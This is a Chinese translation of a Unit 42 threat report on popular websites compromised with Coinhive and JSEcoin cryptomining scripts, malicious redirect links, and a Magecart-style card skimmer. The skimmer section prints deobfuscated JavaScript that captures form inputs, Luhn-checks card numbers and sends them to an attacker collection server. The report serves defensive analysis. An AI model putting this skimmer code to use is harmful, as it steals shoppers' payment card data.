Unit 42最近在Alexa上启动了一项针对全球前一万网站的威胁搜索活动,Alexa排名基于访问者的互动和访问次数来衡量网站的受欢迎程度。如表1所示,研究人员发现了四个受影响的网站。在随后的分析中,研究人员会更详细地描述这些恶意活动,其中就包括了CoinMiner挖矿病毒,它们劫持了CPU资源来挖矿加密货币。早在2017年CoinMiner就被发现,它是一款无文件的恶意软件,它会利用WMI(Windows Management Instrumentation)在感染的系统上运行命令,专家称,这款软件很难检测,并且会使用永恒之蓝进行传播。除了CoinMiner挖矿病毒外,还有恶意外部链接,将用户定向到恶意网站;还有一种就是Web skimmer攻击,该攻击旨在从付款表单中窃取银行卡信息。Web skimmer也被称之为Magecart攻击,早在2018年它就被评为了最危险的安全威胁。这种攻击主要针对的是支付数据,因为Web Skimming能够将任意信息填充进目标网站中,所以攻击者目前可能不在局限于银行信用卡数据,而是将攻击范围扩展到网站登入信息以及其他敏感数据信息上。
受网络安全影响的Alexa网站
CoinMiner挖矿病毒
coinhive专门提供一个用来挖矿的JS引擎,在被攻击网站上的网页内嵌一段JS代码,只要有人访问被攻击网站,挖矿程序就会在网民的电脑上工作,占用大量的系统资源,导致CPU利用率突然提升,甚至100%!不但被攻击网站是受害者,普通网民也是受害者。最初Coinhive是一个浏览器挖矿服务,负责为门罗币区块链提供了一个JavaScript挖矿。该网站于2019年3月被关闭,其中很大一部分原因是它被网络攻击者滥用。不过目前仍有两个网站提供Coinhive的挖矿程序脚本。一个是coinhive.min.js,另一个是JSEcoin。下面的图1显示了在一个受攻击的网站zoombangla[.]com上启动coinminer所发出的命令。
使用定义的参数启动Coinhive挖矿的命令
该挖矿程序可以控制其如何利用用户的CPU以及用于挖矿的线程数量。CoinMiner还可以控制目标使用的CPU数量。表2列出了可用的参数选项。奇怪的是,上述代码将挖矿程序配置为快速耗尽受感染设备的电池,也许是因为攻击者觉得有必要最大限度地利用任何成功被入侵的受害者。大多数攻击者确保受损设备的电源使用率保持在较低水平,以避免被检测到并继续非法赚钱。但是,在本文所列举的样本中,攻击者似乎急于进行挖矿并没有正确配置来躲开检测。
参数节流和CPU使用率映射
下面显示了启动Coinhive挖矿脚本的命令的另一个样本,该样本来自另一个发现的网站——pojoksatu [.] id。
使用默认参数启动Coinhive挖矿脚本的命令
一旦用户访问了以上两个网站中的任何一个,Coinhive挖矿脚本就将自动运行并开始为攻击者进行挖矿。此时用户的CPU载荷将增加,如图3所示。
CPU载荷活动
总的来说,研究人员在pojoksatu [.] id和zoombangla [.] com中发现了60多个注入了Coinhive挖矿脚本的URL页面。详细信息请见以下附录。
恶意的外部链接
外部链接安全性变得越来越重要。随着电子邮件服务在发现垃圾邮件和其他类型的恶意消息方面的改进,攻击者正在使用带有外部链接的开放重定向,已发起更多攻击。如果攻击者在合法网站上的帖子中发布恶意URL,可能很少有访问者会觉得可疑。如果用户单击该链接甚至将鼠标悬停在该链接上以进行检查,他们将在链接中看到有效的网站,如果这样认为那就错了,用户最终将进入攻击者想要将其重定向到的恶意网站。然后,用户就会被某种恶意软件感染,例如CoinMiner挖矿病毒,或者个人信息被盗。
图4是一个合法的二手车网站libero [.],用户可以在其中搜索和比较他们喜欢车辆。此时攻击者可能会在汽车广告中插入了恶意链接,这些链接将把对汽车感兴趣的访问者重定向到一个恶意网站,此时该网站就会向他们注入了JSEcoinCoinMiner脚本,如下图所示。请注意,JSEcoin平台已于2020年4月4日被关闭。虽然脚本仍在运行,但攻击者已无法再从中进行CoinMiner攻击了。
libero [.] it中的外部链接,它将访问者重定向到受感染的网站
源页面如下所示:
包含恶意链接页面的源代码
如上图所示,所有突出显示的外部链接都指向libero [.] it。如果用户想了解更多关于汽车的信息,则需要点击这个链接,然后就会被重定向到恶意网站。
重定向链
该网站是注入CoinMiner挖矿病毒的地方。
启动JSEcoin挖矿程序的命令
Web skimmer
今年5月,美国联邦调查局就发现黑客正在利用Magento插件中一个存在了三年的漏洞,接管在线商店,植入一个恶意脚本,记录并窃取买家的付款卡数据。这种类型的攻击被称为web skimming, e-skimming,或Magecart, FBI在去年10月就曾警告过此类攻击的增加。FBI在今年5月初发给美国私营部门的一份flash安全警报中表示,在最近的攻击中,攻击者利用MAGMI (Magento Mass Import)插件中的CVE-2017-7391漏洞进行攻击。该漏洞是一个跨站点脚本(XSS)漏洞,它允许攻击者将恶意代码植入在线商店的HTML代码中。
研究人员在Alexa上排名最高的网站中发现的样本源于另一个外部链接安全漏洞。 heureka [.] cz本身是一个在线购物网站。如果用户在网站上搜索Anti-COVID产品(网站上排名靠前的搜索关键字),则会显示相关产品列表。
产品样本
该产品之后列出了一家商店,用户可以选择从这家商店购买。
heureka [.] cz中受感染网站的链接
源页面如下所示:
包含恶意链接的页面的源代码,突出显示
单击访问此商店后,用户将被重定向到恶意网站。
重定向链
而且不幸的是,整个网站到处都是经过混淆的恶意skimmer脚本,如下图所示。
混淆的skimmer代码
上面的代码是模糊的,因此很难预测它们导致的行为。研究人员必须先对代码进行模糊处理。然后,研究人员发现了以下功能,它们可以偷偷监视用户对其支付卡信息的输入,并将其发送到远程攻击服务器。
- function G1ED7H(XYRUDR) {
-
- var ZU554M = 0;
- XYRUDR = XYRUDR["split"]("");
-
- if (XYRUDR["length"] < 13 || XYRUDR["length"] > 19) return false;
-
- for (var E9VLQF = XYRUDR["length"] - 1; E9VLQF >= 0; E9VLQF--) {
- if (!XYRUDR[E9VLQF]["match"](/[0-9]/)) return false;
- if (!(E9VLQF % 2)) {
- ZU554M += (XYRUDR[E9VLQF] * 2 > 9) ? XYRUDR[E9VLQF] * 2 - 9 : XYRUDR[E9VLQF] * 2
- } else {
- ZU554M += XYRUDR[E9VLQF] * 1
- }
- }
-
- return !(ZU554M % 10)
-
- }
该函数用于通过Luhn算法验证信用卡号,该算法广泛用于验证各种标识号,例如信用卡号。
Luhn算法(Luhn algorithm),也称为“模10”(Mod 10)算法,是一种简单的校验和算法,一般用于验证身份识别码,例如发卡行识别码、国际移动设备辨识码(IMEI),美国国家提供商标识号码,或是加拿大社会保险号码。
- function XYRUDR() {
-
- var P23WTA = document['all'] || document['getElementsByTagName'](*);
- for (E9VLQF = 0; E9VLQF < P23WTA['length']; E9VLQF++) { if (".input.select.form.button.a.img."["indexOf"]("." + P23WTA[E9VLQF]["tagName"]["toLowerCase"]() + ".") >= 0 && !P23WTA[E9VLQF]["r"+Math["random"]()]) {
- P23WTA[E9VLQF]["r"+Math["random"]()] = 1;
- XCT5WY(P23WTA[E9VLQF], "mousedown");
- }
-
- setTimeout(XYRUDR, 99)
-
- }
当skimmer开始攻击时,它将每99秒运行一次,以调用XYRUDR函数,XYRUDR会找到[input, select, form, button, a, img]中的所有标签。
- function XCT5WY(P23WTA, "mousedown") {
-
- P23WTA["addEventListener"] ? P23WTA["addEventListener"](""mousedown", GB14BD, false) : P23WTA["attachEvent"]("onmousedown", GB14BD)
-
- }
它将为上述标签设置“mousedown”事件监听器。
- function GB14BD() {
- var P23WTA = document["all"] || document["getElementsByTagName"]("*");
- E9VLQF, N798NL = "", E;
- ITCHLA = "";
- for (E9VLQF = 0; E9VLQF < P23WTA["length"]; E9VLQF++) { if (".input.select."["indexOf"]("." + P23WTA[E9VLQF]["tagName"]["toLowerCase"]() + ".") >= 0 && P23WTA[E9VLQF]["value"]) {
- if (G1ED7H(P23WTA[E9VLQF]["value"]["split"](" ")["join"](""))) {
- ITCHLA = P23WTA[E9VLQF]["value"]["split"](" ")["join"]("");
- }
- N798NL += & + (P23WTA[E9VLQF]["name"] || P23WTA[E9VLQF]["id"] || "i_" + E9VLQF) + "=" + CVZLRD(P23WTA[E9VLQF])
- }
- }
- if (ECUOWQ != N798NL && ITCHLA) {
- ECUOWQ = N798NL;
- MAU1KL()
- }
- }
事件触发后,它将调用此函数以获取标签的值。
- function MAU1KL() {
-
- var ZU554M = "https://";
- Y3V4T2 = String;
- ZU554M += "metahtmlhead.com" + "/" + "folder" + "/" + "ip" + "/" + "zxc" + "." + "php";
- var P23WTA = document["createElement"]("script");
- N798NL = document["getElementsByTagName"]("html")[0];
- P23WTA = N798NL["insertBefore"](P23WTA, null);
- P23WTA["src"] = ZU554M + "?r=" + MLEMCG + ECUOWQ + "&" + "c" + "c" + "=" + ITCHLA
-
- }
此函数用于将信用卡信息发送到收集服务器
概括地说,skimmer的工作流程是:
1.为[input, select, form, button, a, img]添加事件监听器;
2.当数字字符串通过信用卡验证检查时,它会将信息发送出去;
3.构造收集服务器URL和参数,然后将信息发送出去;
成功的攻击会将所有用户信息发送到远程攻击者服务器,包括信用卡号,地址等。
收集服务器:metahtmlhead [.] com
信用卡信息被发送到收款服务器
URL过滤分析
上图显示了研究人员观察到的受影响网站访问的总体地理分布,可以看出大多数受害者显然来自西欧,但来自美国东部和美国西部的受害者却紧随其后,另外上图也显示了全球范围内的攻击已经非常普遍。
结论
本文的研究显示即使在访问流行的、信誉良好的网站时,用户也要谨慎行事。这些网站很可能为挖矿的攻击者带来最大的收入。当用户点击非官方网站的链接时,应注意最终网站的完整URL,以确保其不是恶意网站。避免CoinMiner挖矿病毒的一种简单方法是,在浏览器和系统上安装完整的终端安全补丁。
本文翻译自:https://unit42.paloaltonetworks.com/malicious-coinminers-web-skimmer/如若转载,请注明原文地址: